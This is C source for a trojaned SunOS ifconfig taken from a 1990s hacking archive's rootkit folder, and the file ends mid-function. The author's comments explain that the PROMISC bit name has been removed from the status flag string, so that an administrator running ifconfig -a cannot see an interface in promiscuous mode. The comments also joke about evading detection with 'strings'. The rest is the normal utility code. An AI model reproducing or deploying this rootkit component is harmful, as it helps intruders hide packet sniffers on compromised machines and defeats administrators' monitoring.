home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / rootkits / rootkit / ifconfig.c < prev    next >
C/C++ Source or Header  |  1994-03-01  |  21KB  |  933 lines

  1. /*+
  2.      Modified to remove PROMISC message
  3.     when -a flag is passed
  4. +*/
  5.  
  6. /*
  7.  * Copyright (c) 1983 Regents of the University of California.
  8.  * All rights reserved.  The Berkeley software License Agreement
  9.  * specifies the terms and conditions for redistribution.
  10.  *
  11.  * @(#)ifconfig.c 1.1 91/11/13 SMI from UCB 4.18 5/22/86 
  12.  */
  13.  
  14. #include <sys/types.h>
  15. #include <sys/socket.h>
  16. #include <sys/ioctl.h>
  17. #include <sys/file.h>
  18.  
  19. #include <netinet/in.h>
  20. #include <net/if.h>
  21. #include <netinet/if_ether.h>
  22.  
  23. #ifdef NS
  24. #define    NSIP
  25. #include <netns/ns.h>
  26. #include <netns/ns_if.h>
  27. #endif
  28.  
  29. #ifdef APPLETALK
  30. #include <netat/atalk.h>
  31. #endif APPLETALK
  32.  
  33. #define    NIT
  34. #ifdef    NIT
  35. #include <sys/time.h>
  36. #include <net/nit_if.h>
  37. #endif
  38.  
  39. #include <stdio.h>
  40. #include <errno.h>
  41. #include <ctype.h>
  42. #include <netdb.h>
  43.  
  44. char *inet_ntoa();
  45.  
  46. struct    ifreq ifr;
  47. struct    sockaddr_in sin = { AF_INET };
  48. struct    sockaddr_in broadaddr;
  49. struct    sockaddr_in netmask = { AF_INET };
  50. struct    sockaddr_in ipdst = { AF_INET };
  51. char    name[30];
  52. int    setaddr;
  53. int    setmask;
  54. int    setbroadaddr;
  55. int    setipdst;
  56. int    s;
  57.  
  58. void    setifflags(), setifaddr(), setifdstaddr(), setifnetmask();
  59. void    setifmetric(), setifbroadaddr(), setifipdst(), setifether();
  60.  
  61. #define    NEXTARG        0xffffff
  62. #define    AF_ANY        (-1)
  63.  
  64. struct    cmd {
  65.     char    *c_name;
  66.     int    c_parameter;        /* NEXTARG means next argv */
  67.     void    (*c_func)();
  68.     int    c_af;            /* address family restrictions */
  69. } cmds[] = {
  70.     { "up",        IFF_UP,        setifflags,    AF_ANY } ,
  71.     { "down",    -IFF_UP,    setifflags,    AF_ANY },
  72.     { "trailers",    -IFF_NOTRAILERS,setifflags,    AF_ANY },
  73.     { "-trailers",    IFF_NOTRAILERS,    setifflags,    AF_ANY },
  74.     { "arp",    -IFF_NOARP,    setifflags,    AF_ANY },
  75.     { "-arp",    IFF_NOARP,    setifflags,    AF_ANY },
  76.     { "private",    IFF_PRIVATE,    setifflags,    AF_ANY },
  77.     { "-private",    -IFF_PRIVATE,    setifflags,    AF_ANY },
  78.     { "netmask",    NEXTARG,    setifnetmask,    AF_INET },
  79.     { "metric",    NEXTARG,    setifmetric,    AF_ANY },
  80.     { "broadcast",    NEXTARG,    setifbroadaddr,    AF_ANY },
  81.     { "ipdst",    NEXTARG,    setifipdst,    AF_NS },
  82.     { "ether",    NEXTARG,    setifether,    AF_ANY },
  83.     { 0,        0,        setifaddr,    AF_ANY },
  84.     { 0,        0,        setifdstaddr,    AF_ANY },
  85. };
  86.  
  87. /*
  88.  * XNS support liberally adapted from
  89.  * code written at the University of Maryland
  90.  * principally by James O'Toole and Chris Torek.
  91.  */
  92.  
  93. int    in_status(), in_getaddr();
  94. int    xns_status(), xns_getaddr();
  95. int    at_status(), at_getaddr();
  96. int    ether_status(), ether_getaddr();
  97.  
  98. /* Known address families */
  99. struct afswtch {
  100.     char *af_name;
  101.     short af_af;
  102.     int (*af_status)();
  103.     int (*af_getaddr)();
  104. } afs[] = {
  105.     { "inet",    AF_INET,    in_status,    in_getaddr },
  106.     { "ns",        AF_NS,        xns_status,    xns_getaddr },
  107.     { "appletalk",    AF_APPLETALK,    at_status,    at_getaddr },
  108.     { "ether",    AF_INET,    ether_status,    ether_getaddr },
  109.     { 0,        0,        0,        0 }
  110. };
  111.  
  112. struct afswtch *afp;    /*the address family being set or asked about*/
  113.  
  114. main(argc, argv)
  115.     int argc;
  116.     char *argv[];
  117. {
  118.     int af = AF_INET;
  119.     void foreachinterface(), ifconfig();
  120.  
  121.     if (argc < 2) {
  122.         fprintf(stderr, "usage: ifconfig interface\n%s%s%s%s%s\n",
  123.             "\t[ <af> ] [ <address> [ <dest_addr> ] ] [ up ] [ down ]\n",
  124.             "\t[ netmask <mask> ] [ broadcast <broad_addr> ]\n",
  125.             "\t[ metric <n> ]\n",
  126.             "\t[ trailers | -trailers ] [private | -private]\n",
  127.             "\t[ arp | -arp ] \n");
  128.         exit(1);
  129.     }
  130.     argc--, argv++;
  131.     strncpy(name, *argv, sizeof(name));
  132.     argc--, argv++;
  133.     if (argc > 0) {
  134.         struct afswtch *myafp;
  135.         
  136.         for (myafp = afp = afs; myafp->af_name; myafp++)
  137.             if (strcmp(myafp->af_name, *argv) == 0) {
  138.                 afp = myafp; argc--; argv++;
  139.                 break;
  140.             }
  141.         af = ifr.ifr_addr.sa_family = afp->af_af;
  142.     }
  143.     s = socket(af, SOCK_DGRAM, 0);
  144.     if (s < 0) {
  145.         perror("ifconfig: socket");
  146.         exit(1);
  147.     }
  148.     if (strcmp(name, "-a"))
  149.         ifconfig(argc, argv, af, (struct ifnet *) NULL);
  150.     else
  151.         foreachinterface(ifconfig, argc, argv, af);
  152.  
  153.     exit(0);
  154.     /* NOTREACHED */
  155. }
  156.  
  157. /*
  158.  *    For each interface, call (*func)(argc, argv, af, ifrp).
  159.  */
  160. void
  161. foreachinterface(func, argc, argv, af)
  162.     void (*func)();
  163.     int argc;
  164.     char **argv;
  165.     int af;
  166. {
  167.     int n;
  168.     char buf[BUFSIZ];
  169.     struct ifconf ifc;
  170.     register struct ifreq *ifrp;
  171.  
  172.     ifc.ifc_len = sizeof (buf);
  173.     ifc.ifc_buf = buf;
  174.     if (ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0) {
  175.         perror("ioctl (get interface configuration)");
  176.         close(s);
  177.         return;
  178.     }
  179.  
  180.     ifrp = ifc.ifc_req;
  181.     for (n = ifc.ifc_len / sizeof (struct ifreq); n > 0; n--, ifrp++) {
  182.         /*
  183.          *    We must close and recreate the socket each time
  184.          *    since we don't know what type of socket it is now
  185.          *    (each status function may change it).
  186.          */
  187.         (void) close(s);
  188.         s = socket(af, SOCK_DGRAM, 0);
  189.         if (s == -1) {
  190.             perror("ifconfig: socket");
  191.             exit(1);
  192.         }
  193.  
  194.         /*
  195.          *    Reset global state variables to known values.
  196.          */
  197.         setaddr = setbroadaddr = setipdst = setmask = 0;
  198.         (void) strncpy(name, ifrp->ifr_name, sizeof(name));
  199.  
  200.         (*func)(argc, argv, af, ifrp);
  201.     }
  202. }
  203.  
  204. void
  205. ifconfig(argc, argv, af, ifrp)
  206.     int argc;
  207.     char **argv;
  208.     int af;
  209.     register struct ifreq *ifrp;
  210. {
  211.     if (argc == 0) {
  212.         status();
  213.         return;
  214.     }
  215.     while (argc > 0) {
  216.         register struct cmd *p;
  217.  
  218.         for (p = cmds; p->c_name; p++)
  219.             if (strcmp(*argv, p->c_name) == 0)
  220.                 break;
  221.         if (p->c_name == 0 && setaddr)
  222.             p++;    /* got src, do dst */
  223.         if (p->c_func) {
  224.             if (p->c_parameter == NEXTARG) {
  225.                 argc--, argv++;
  226.                 if (argc == 0) {
  227.                     (void) fprintf(stderr, 
  228.                         "ifconfig: no argument for %s\n",
  229.                         p->c_name);
  230.                     exit(1);
  231.                 }
  232.                 /*
  233.                  *    Call the function if:
  234.                  *
  235.                  *        there's no address family
  236.                  *        restriction
  237.                  *    OR
  238.                  *        we don't know the address yet
  239.                  *        (because we were called from
  240.                  *        main)
  241.                  *    OR
  242.                  *        there is a restriction and
  243.                  *        the address families match
  244.                  */
  245.                 if ((p->c_af == AF_ANY)            ||
  246.                     (ifrp == (struct ifreq *) NULL)    ||
  247.                     (ifrp->ifr_addr.sa_family == p->c_af)
  248.                    )
  249.                     (*p->c_func)(*argv);
  250.             } else
  251.                 if ((p->c_af == AF_ANY)            ||
  252.                     (ifrp == (struct ifreq *) NULL)    ||
  253.                     (ifrp->ifr_addr.sa_family == p->c_af)
  254.                    )
  255.                     (*p->c_func)(*argv, p->c_parameter);
  256.         }
  257.         argc--, argv++;
  258.     }
  259.     if ((setmask || setaddr) && (af == AF_INET) && 
  260.          netmask.sin_addr.s_addr != INADDR_ANY) {
  261.         /*
  262.          * If setting the address and not the mask,
  263.          * clear any existing mask and the kernel will then
  264.          * assign the default.  If setting both,
  265.          * set the mask first, so the address will be
  266.          * interpreted correctly.
  267.          */
  268.         strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name));
  269.         ifr.ifr_addr = *(struct sockaddr *)&netmask;
  270.         if (ioctl(s, SIOCSIFNETMASK, (caddr_t)&ifr) < 0)
  271.             Perror("ioctl (SIOCSIFNETMASK)");
  272.     }
  273. #ifdef NS
  274.     if (setipdst && af == AF_NS) {
  275.         struct nsip_req rq;
  276.         int size = sizeof(rq);
  277.  
  278.         rq.rq_ns = *(struct sockaddr *) &sin;
  279.         rq.rq_ip = *(struct sockaddr *) &ipdst;
  280.  
  281.         if (setsockopt(s, 0, SO_NSIP_ROUTE, &rq, size) < 0)
  282.             Perror("Encapsulation Routing");
  283.         setaddr = 0;
  284.     }
  285. #endif
  286.     if (setaddr) {
  287.         ifr.ifr_addr = *(struct sockaddr *) &sin;
  288.         strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name));
  289.         if (ioctl(s, SIOCSIFADDR, (caddr_t)&ifr) < 0)
  290.             Perror("ioctl (SIOCSIFADDR)");
  291.     }
  292.     if (setbroadaddr) {
  293.         ifr.ifr_addr = *(struct sockaddr *)&broadaddr;
  294.         strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name));
  295.         if (ioctl(s, SIOCSIFBRDADDR, (caddr_t)&ifr) < 0)
  296.             Perror("ioctl (SIOCSIFBRDADDR)");
  297.     }
  298. }
  299.  
  300. /*ARGSUSED*/
  301. void
  302. setifaddr(addr, param)
  303.     char *addr;
  304.     short param;
  305. {
  306.     /*
  307.      * Delay the ioctl to set the interface addr until flags are all set.
  308.      * The address interpretation may depend on the flags,
  309.      * and the flags may change when the address is set.
  310.      */
  311.     setaddr++;
  312.     (*afp->af_getaddr)(addr, &sin);
  313. }
  314.  
  315. void
  316. setifnetmask(addr)
  317.     char *addr;
  318. {
  319.     if (strcmp(addr, "+") == 0) {
  320.         setmask = in_getmask( &netmask);
  321.         return;
  322.     }
  323.     in_getaddr(addr, &netmask);
  324.     setmask++;
  325. }
  326.  
  327. void
  328. setifbroadaddr(addr)
  329.     char *addr;
  330. {
  331.     /*
  332.      *    This doesn't set the broadcast address at all.  Rather, it
  333.      *    gets, then sets the interface's address, relying on the fact
  334.      *    that resetting the address will reset the broadcast address.
  335.      */
  336.     if (strcmp(addr, "+") == 0) {
  337.         if (!setaddr) {
  338.             /*
  339.              * If we do not already have an address to set,
  340.              * then we just read the interface to see if it
  341.              * is already set.
  342.              */
  343.             strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name));
  344.             if (ioctl(s, SIOCGIFADDR, (caddr_t)&ifr) < 0) {
  345.                 if (errno != EADDRNOTAVAIL)
  346.                     perror("SIOCGIFADDR failed - cannot reset broadcast address");
  347.                 return;
  348.             }
  349.             sin = * ( (struct sockaddr_in *)&ifr.ifr_addr);
  350.             setaddr++;
  351.  
  352.         }
  353.         /*
  354.          *    Turn off setbraodcast to allow for the (rare)
  355.          *    case of a user saying
  356.          *    ifconfig ... broadcast <number> ... broadcast +
  357.          */
  358.         setbroadaddr = 0;
  359.         return;
  360.     }
  361.     (*afp->af_getaddr)(addr, &broadaddr);
  362.     setbroadaddr++;
  363. }
  364.  
  365. void
  366. setifipdst(addr)
  367.     char *addr;
  368. {
  369.     in_getaddr(addr, &ipdst);
  370.     setipdst++;
  371. }
  372.  
  373. /*ARGSUSED*/
  374. void
  375. setifdstaddr(addr, param)
  376.     char *addr;
  377.     int param;
  378. {
  379.  
  380.     (*afp->af_getaddr)(addr, &ifr.ifr_addr);
  381.     strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name));
  382.     if (ioctl(s, SIOCSIFDSTADDR, (caddr_t)&ifr) < 0)
  383.         Perror("ioctl (SIOCSIFDSTADDR)");
  384. }
  385.  
  386. void
  387. setifflags(vname, value)
  388.     char *vname;
  389.     int value;
  390. {
  391.  
  392.     strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name));
  393.     if (ioctl(s, SIOCGIFFLAGS, (caddr_t)&ifr) < 0)
  394.         Perror("ioctl (SIOCGIFFLAGS)");
  395.     if (value < 0) {
  396.         value = -value;
  397.         ifr.ifr_flags &= ~value;
  398.     } else
  399.         ifr.ifr_flags |= value;
  400.     strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name));
  401.     if (ioctl(s, SIOCSIFFLAGS, (caddr_t)&ifr) < 0)
  402.         Perror(vname);
  403. }
  404.  
  405. void
  406. setifmetric(val)
  407.     char *val;
  408. {
  409.     strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name));
  410.     ifr.ifr_metric = atoi(val);
  411.     if (ioctl(s, SIOCSIFMETRIC, (caddr_t)&ifr) < 0)
  412.         perror("ioctl (set metric)");
  413. }
  414.  
  415. void
  416. setifether(addr)
  417.     char *addr;
  418. {
  419. #ifdef    NIT
  420.     int t;
  421.     struct ether_addr *ea, *ether_aton();
  422.  
  423.     t = open("/dev/nit", O_RDONLY);
  424.     if (t == -1) {
  425.         perror("/dev/nit");
  426.         exit(1);
  427.     }
  428.     strncpy(ifr.ifr_name, name, sizeof ifr.ifr_name);
  429.     if (ioctl(t, NIOCBIND, (caddr_t) &ifr) < 0) {
  430.         perror("ioctl:  NIOCBIND");
  431.         exit(1);
  432.     }
  433.     ea = ether_aton(addr);
  434.     (void) bcopy((caddr_t) ifr.ifr_addr.sa_data, ea, sizeof(struct ether_addr));
  435.     if (ioctl(t, SIOCSIFADDR, (caddr_t)&ifr) == -1) {
  436.         perror("ioctl (SIOCSIFADDR)");
  437.     }
  438.     (void) close(t);
  439. #endif    /* NIT */
  440. }
  441.  
  442. /*+  Here are old bit flags
  443.  
  444. #define    IFFBITS \
  445. "\020\1UP\2BROADCAST\3DEBUG\4LOOPBACK\5POINTOPOINT\6NOTRAILERS\7RUNNING\10NOARP\11PROMISC\12MULTI\020PRIVATE"
  446.  
  447. +*/
  448.  
  449. /*+
  450.   Just remove the bit flag and no more PROMISC message.
  451.  
  452.   if they run strings they won't find PROMISC message, but
  453.   if they are running strings on binaries, chances are they
  454.   know your there already and are going to find you :-)
  455. +*/
  456.  
  457. #define    IFFBITS \
  458. "\020\1UP\2BROADCAST\3DEBUG\4LOOPBACK\5POINTOPOINT\6NOTRAILERS\7RUNNING\10NOARP\12MULTI\020PRIVATE"
  459.  
  460. /*
  461.  * Print the status of the interface.  If an address family was
  462.  * specified, show it and it only; otherwise, show them all.
  463.  */
  464. status()
  465. {
  466.     register struct afswtch *p = afp;
  467.     short af = ifr.ifr_addr.sa_family;
  468.     register int flags;
  469.  
  470.     strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
  471.     if (ioctl(s, SIOCGIFFLAGS, (caddr_t)&ifr) < 0) {
  472.         Perror("ioctl (SIOCGIFFLAGS)");
  473.         exit(1);
  474.     }
  475.     flags = ifr.ifr_flags;
  476.     printf("%s: ", name);
  477.     printb("flags", flags, IFFBITS);
  478.     strncpy(ifr.ifr_name, name, sizeof ifr.ifr_name);
  479.     if (ioctl(s, SIOCGIFMETRIC, (caddr_t)&ifr) < 0)
  480.         perror("ioctl (SIOCGIFMETRIC)");
  481.     else {
  482.         if (ifr.ifr_metric)
  483.             printf(" metric %d", ifr.ifr_metric);
  484.     }
  485.     putchar('\n');
  486.     if ((p = afp) != NULL) {
  487.         (*p->af_status)(1, flags);
  488.     } else for (p = afs; p->af_name; p++) {
  489.         ifr.ifr_addr.sa_family = p->af_af;
  490.         (*p->af_status)(0, flags);
  491.     }
  492. }
  493.  
  494. in_status(force, flags)
  495.     int force;
  496.     int flags;
  497. {
  498.     struct sockaddr_in *sin;
  499.     char *inet_ntoa();
  500.  
  501.     strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name));
  502.     if (ioctl(s, SIOCGIFADDR, (caddr_t)&ifr) < 0) {
  503.         if (errno == EADDRNOTAVAIL || errno == EAFNOSUPPORT) {
  504.             if (!force)
  505.                 return;
  506.             bzero((char *)&ifr.ifr_addr, sizeof(ifr.ifr_addr));
  507.         } else
  508.             Perror("ioctl (SIOCGIFADDR)");
  509.     }
  510.     sin = (struct sockaddr_in *)&ifr.ifr_addr;
  511.     printf("\tinet %s ", inet_ntoa(sin->sin_addr));
  512.     strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name));
  513.     if (ioctl(s, SIOCGIFNETMASK, (caddr_t)&ifr) < 0) {
  514.         if (errno != EADDRNOTAVAIL)
  515.             perror("ioctl (SIOCGIFNETMASK)");
  516.         bzero((char *)&ifr.ifr_addr, sizeof(ifr.ifr_addr));
  517.     } else
  518.         netmask.sin_addr =
  519.             ((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr;
  520.     if (flags & IFF_POINTOPOINT) {
  521.         strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name));
  522.         if (ioctl(s, SIOCGIFDSTADDR, (caddr_t)&ifr) < 0) {
  523.             if (errno == EADDRNOTAVAIL)
  524.                 bzero((char *)&ifr.ifr_addr, sizeof(ifr.ifr_addr));
  525.             else
  526.                 perror("ioctl (SIOCGIFDSTADDR)");
  527.         }
  528.         sin = (struct sockaddr_in *)&ifr.ifr_dstaddr;
  529.         printf("--> %s ", inet_ntoa(sin->sin_addr));
  530.     }
  531.     printf("netmask %x ", ntohl(netmask.sin_addr.s_addr));
  532.     if (flags & IFF_BROADCAST) {
  533.         strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name));
  534.         if (ioctl(s, SIOCGIFBRDADDR, (caddr_t)&ifr) < 0) {
  535.             if (errno == EADDRNOTAVAIL)
  536.                 bzero((char *)&ifr.ifr_addr, sizeof(ifr.ifr_addr));
  537.             else
  538.                 perror("ioctl (SIOCGIFADDR)");
  539.         }
  540.         sin = (struct sockaddr_in *)&ifr.ifr_addr;
  541.         if (sin->sin_addr.s_addr != 0)
  542.             printf("broadcast %s", inet_ntoa(sin->sin_addr));
  543.     }
  544.     putchar('\n');
  545. }
  546.  
  547.  
  548. xns_status(force, flags)
  549.     int force;
  550.     int flags;
  551. {
  552. #ifdef NS
  553.     struct sockaddr_ns *sns;
  554.  
  555.     close(s);
  556.     s = socket(AF_NS, SOCK_DGRAM, 0);
  557.     if (s < 0) {
  558.         if (errno == EAFNOSUPPORT || errno == EPROTONOSUPPORT)
  559.             return;
  560.         perror("ifconfig: ns socket");
  561.         exit(1);
  562.     }
  563.     strncpy(ifr.ifr_name, name, sizeof ifr.ifr_name);
  564.     if (ioctl(s, SIOCGIFADDR, (caddr_t)&ifr) < 0) {
  565.         if (errno == EADDRNOTAVAIL || errno == EAFNOSUPPORT) {
  566.             if (!force)
  567.                 return;
  568.             bzero((char *)&ifr.ifr_addr, sizeof(ifr.ifr_addr));
  569.         } else
  570.             perror("ioctl (SIOCGIFADDR)");
  571.     }
  572.     sns = (struct sockaddr_ns *)&ifr.ifr_addr;
  573.     printf("\tns %s ", ns_ntoa(sns->sns_addr));
  574.     if (flags & IFF_POINTOPOINT) { /* by W. Nesheim@Cornell */
  575.         strncpy(ifr.ifr_name, name, sizeof ifr.ifr_name);
  576.         if (ioctl(s, SIOCGIFDSTADDR, (caddr_t)&ifr) < 0) {
  577.             if (errno == EADDRNOTAVAIL)
  578.                 bzero((char *)&ifr.ifr_addr, sizeof(ifr.ifr_addr));
  579.             else
  580.                 Perror("ioctl (SIOCGIFDSTADDR)");
  581.         }
  582.         sns = (struct sockaddr_ns *)&ifr.ifr_dstaddr;
  583.         printf("--> %s ", ns_ntoa(sns->sns_addr));
  584.     }
  585.     putchar('\n');
  586. #endif 
  587. }
  588.  
  589. #ifdef APPLETALK
  590. char *
  591. at_ntoa(sad)
  592.     struct a_addr sad;
  593. {
  594.     static char buf[256];
  595.     (void) sprintf( buf, "%d.%d", sad.at_Net, sad.at_Node);
  596.     return(buf);
  597. }
  598. #endif AAPLETALK
  599.  
  600. at_status(force, flags)
  601.     int force;
  602.     int flags;
  603. {
  604. #ifdef APPLETALK
  605.     struct sockaddr_at *sat;
  606.  
  607.     close(s);
  608.     s = socket(AF_APPLETALK, SOCK_DGRAM, 0);
  609.     if (s < 0) {
  610.         if (errno == EAFNOSUPPORT || errno == EPROTONOSUPPORT)
  611.             return;
  612.         perror("ifconfig: appletalk socket");
  613.         exit(1);
  614.     }
  615.     strncpy(ifr.ifr_name, name, sizeof ifr.ifr_name);
  616.     if (ioctl(s, SIOCGIFADDR, (caddr_t)&ifr) < 0) {
  617.         if (errno == EADDRNOTAVAIL || errno == EAFNOSUPPORT) {
  618.             if (!force)
  619.                 return;
  620.             bzero((char *)&ifr.ifr_addr, sizeof(ifr.ifr_addr));
  621.         } else
  622.             perror("ioctl (SIOCGIFADDR)");
  623.     }
  624.     sat = (struct sockaddr_at *)&ifr.ifr_addr;
  625.     printf("\tappletalk %s ", at_ntoa(sat->at_addr));
  626.     if (flags & IFF_POINTOPOINT) {
  627.         strncpy(ifr.ifr_name, name, sizeof ifr.ifr_name);
  628.         if (ioctl(s, SIOCGIFDSTADDR, (caddr_t)&ifr) < 0) {
  629.             if (errno == EADDRNOTAVAIL)
  630.                 bzero((char *)&ifr.ifr_addr, sizeof(ifr.ifr_addr));
  631.             else
  632.                 Perror("ioctl (SIOCGIFDSTADDR)");
  633.         }
  634.         sat = (struct sockaddr_at *)&ifr.ifr_dstaddr;
  635.         printf("--> %s ", at_ntoa(sat->at_addr));
  636.     }
  637.     putchar('\n');
  638. #endif APPLETALK
  639. }
  640.  
  641. /*ARGSUSED*/
  642. ether_status(force, flags)
  643.     int force;
  644.     int flags;
  645. {
  646. #ifdef    NIT
  647.     register struct sockaddr *saddr;
  648.     char *ether_ntoa();
  649.  
  650.     if (getuid())
  651.         return;
  652.     (void) close(s);
  653.     s = open("/dev/nit", O_RDONLY);
  654.     if (s == -1)
  655.         if (force) {
  656.             perror("/dev/nit");
  657.             exit(1);
  658.         }
  659.         else
  660.             return;
  661.     strncpy(ifr.ifr_name, name, sizeof ifr.ifr_name);
  662.     if (ioctl(s, NIOCBIND, (caddr_t) &ifr) < 0) {
  663.         perror("ioctl:  NIOCBIND");
  664.         exit(1);
  665.     }
  666.     if (ioctl(s, SIOCGIFADDR, (caddr_t)&ifr) < 0) {
  667.         if (errno == EINVAL)
  668.             return;
  669.         else
  670.             perror("ioctl (SIOCGIFADDR)");
  671.     }
  672.     saddr = (struct sockaddr *)&ifr.ifr_addr;
  673.     printf("\tether %s ", ether_ntoa((struct ether_addr *) saddr->sa_data));
  674.     putchar('\n');
  675. #endif    /* NIT */
  676. }
  677.  
  678. Perror(cmd)
  679.     char *cmd;
  680. {
  681.     extern int errno;
  682.  
  683.     fprintf(stderr, "ifconfig: ");
  684.     switch (errno) {
  685.  
  686.     case ENXIO:
  687.         fprintf(stderr, "%s: no such interface\n", cmd);
  688.         break;
  689.  
  690.     case EPERM:
  691.         fprintf(stderr, "%s: permission denied\n", cmd);
  692.         break;
  693.  
  694.     default:
  695.         perror(cmd);
  696.     }
  697.     exit(1);
  698. }
  699.  
  700. struct    in_addr inet_makeaddr();
  701.  
  702. in_getaddr(s, saddr)
  703.     char *s;
  704.     struct sockaddr *saddr;
  705. {
  706.     register struct sockaddr_in *sin = (struct sockaddr_in *)saddr;
  707.     struct hostent *hp;
  708.     struct netent *np;
  709.     int val;
  710.  
  711.     bzero((char *)saddr, sizeof *saddr);
  712.     sin->sin_family = AF_INET;
  713.  
  714.     /*
  715.      *    Try to catch attempts to set the broadcast address to all 1's.
  716.      */
  717.     if (strcmp(s,"255.255.255.255") == 0 || 
  718.         ((u_int) strtol(s, (char **) NULL, 0) == (u_int) 0xffffffff)) {
  719.         sin->sin_addr.s_addr = 0xffffffff;
  720.         return;
  721.     }
  722.  
  723.     val = inet_addr(s);
  724.     if (val != -1) {
  725.         sin->sin_addr.s_addr = val;
  726.         return;
  727.     }
  728.     hp = gethostbyname(s);
  729.     if (hp) {
  730.         sin->sin_family = hp->h_addrtype;
  731.         bcopy(hp->h_addr, (char *)&sin->sin_addr, hp->h_length);
  732.         return;
  733.     }
  734.     np = getnetbyname(s);
  735.     if (np) {
  736.         sin->sin_family = np->n_addrtype;
  737.         sin->sin_addr = inet_makeaddr(np->n_net, INADDR_ANY);
  738.         return;
  739.     }
  740.     fprintf(stderr, "ifconfig: %s: bad address\n", s);
  741.     exit(1);
  742. }
  743.  
  744. /*
  745.  * Print a value a la the %b format of the kernel's printf
  746.  */
  747. printb(s, v, bits)
  748.     char *s;
  749.     register char *bits;
  750.     register unsigned short v;
  751. {
  752.     register int i, any = 0;
  753.     register char c;
  754.  
  755.     if (bits && *bits == 8)
  756.         printf("%s=%o", s, v);
  757.     else
  758.         printf("%s=%x", s, v);
  759.     bits++;
  760.     if (bits) {
  761.         putchar('<');
  762.         while (i = *bits++) {
  763.             if (v & (1 << (i-1))) {
  764.                 if (any)
  765.                     putchar(',');
  766.                 any = 1;
  767.                 for (; (c = *bits) > 32; bits++)
  768.                     putchar(c);
  769.             } else
  770.                 for (; *bits > 32; bits++)
  771.                     ;
  772.         }
  773.         putchar('>');
  774.     }
  775. }
  776.  
  777. xns_getaddr(addr, saddr)
  778. char *addr;
  779. struct sockaddr *saddr;
  780. {
  781. #ifdef NS
  782.     struct sockaddr_ns *sns = (struct sockaddr_ns *)saddr;
  783.     struct ns_addr ns_addr();
  784.  
  785.     bzero((char *)saddr, sizeof *saddr);
  786.     sns->sns_family = AF_NS;
  787.     sns->sns_addr = ns_addr(addr);
  788. #endif
  789. }
  790.  
  791. at_getaddr(addr, saddr)
  792. char *addr;
  793. struct sockaddr *saddr;
  794. {
  795. # ifdef APPLETALK
  796.     struct sockaddr_at *sat = (struct sockaddr_at *)saddr;
  797.  
  798.     bzero((char *)saddr, sizeof *saddr);
  799.     sat->at_family = AF_APPLETALK;
  800.     sat->at_addr.at_Net = atoi(addr);
  801. # endif APPLETALK
  802. }
  803.  
  804. extern struct ether_addr *ether_aton();
  805.  
  806. ether_getaddr(addr, saddr)
  807. char *addr;
  808. struct sockaddr *saddr;
  809. {
  810.     struct ether_addr *eaddr;
  811.  
  812.     bzero((char *)saddr, sizeof *saddr);
  813.     saddr->sa_family = AF_UNSPEC;
  814.     /*
  815.      * call the library routine to do the conversion.
  816.      */
  817.     eaddr = ether_aton(addr);
  818.     if (eaddr == NULL) {
  819.         fprintf(stderr, "ifconfig: %s: bad address\n", addr);
  820.         exit(1);
  821.     }
  822.     bcopy(eaddr, saddr->sa_data, sizeof(struct ether_addr));
  823. }
  824.  
  825. # include <rpcsvc/ypclnt.h>
  826.  
  827. /*
  828.  * get the appropriate network mask entry given an address
  829.  */
  830. char *
  831. getmaskbyaddr(netname)
  832.     char *netname;
  833. {
  834.     static char *ypDomain = NULL;
  835.     char *out, *strtok();
  836.     int keylen, outsize, stat;
  837.     FILE *f;
  838.     static char line[1024];
  839.  
  840.     if (ypDomain == NULL)
  841.         yp_get_default_domain(&ypDomain);
  842.     if (ypDomain != NULL) {
  843.         keylen = strlen(netname);
  844.         stat = yp_match(ypDomain, "netmasks.byaddr", 
  845.             netname, keylen, &out, &outsize);
  846.         if (stat == 0)
  847.             return(out);
  848.         if (stat == YPERR_KEY)
  849.             return(0);
  850.     }
  851.       /*
  852.        * NIS did not work - read the local file
  853.        */
  854.     f = fopen("/etc/netmasks", "r");
  855.     if (f == NULL)
  856.         return(0);
  857.     while (fgets(line, sizeof(line)-1, f)) {
  858.         out = strtok(line, " \t\n");
  859.         if (strcmp(line,netname) == 0) {
  860.             out = strtok(NULL, " \t\n");
  861.             return(out);
  862.         }
  863.     }
  864.     fclose(f);
  865.     return(0);
  866. }
  867.  
  868.  
  869. /*
  870.  * Look in the NIS for the network mask.
  871.  * returns true if we found one to set.
  872.  */
  873. in_getmask(saddr)
  874.     struct sockaddr_in *saddr;
  875. {
  876.     char *out;
  877.     u_char *bytes;
  878.     int val;
  879.     char key[128];
  880.     struct in_addr net;
  881.     u_long i;
  882.  
  883.     if (!setaddr) {
  884.       /*
  885.        * If we do not already have an address to set, then we just
  886.        * read the interface to see if it is already set.
  887.        */
  888.         strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name));
  889.         if (ioctl(s, SIOCGIFADDR, (caddr_t)&ifr) < 0) {
  890.             if (errno != EADDRNOTAVAIL)
  891.                 printf("Need net number for mask\n");
  892.             return(0);
  893.         }
  894.         sin = * ( (struct sockaddr_in *)&ifr.ifr_addr);
  895.     }
  896.     i = ntohl(sin.sin_addr.s_addr);
  897.     bytes = (u_char *)(&net);
  898.     if (IN_CLASSA(i)) {
  899.         net.s_addr = htonl(i & IN_CLASSA_NET);
  900.         sprintf(key, "%d", bytes[0]);
  901.     }
  902.     else if (IN_CLASSB(i)) {
  903.         net.s_addr = htonl(i & IN_CLASSB_NET);
  904.         sprintf(key, "%d.%d", bytes[0], bytes[1]);
  905.     }
  906.     else {
  907.         net.s_addr = htonl(i & IN_CLASSC_NET);
  908.         sprintf(key, "%d.%d.%d", bytes[0], bytes[1], bytes[2]);
  909.     }
  910.     out = getmaskbyaddr(key);
  911.     if (out == NULL) {
  912.           /*
  913.            * If at first not found, try unshifted too
  914.            */
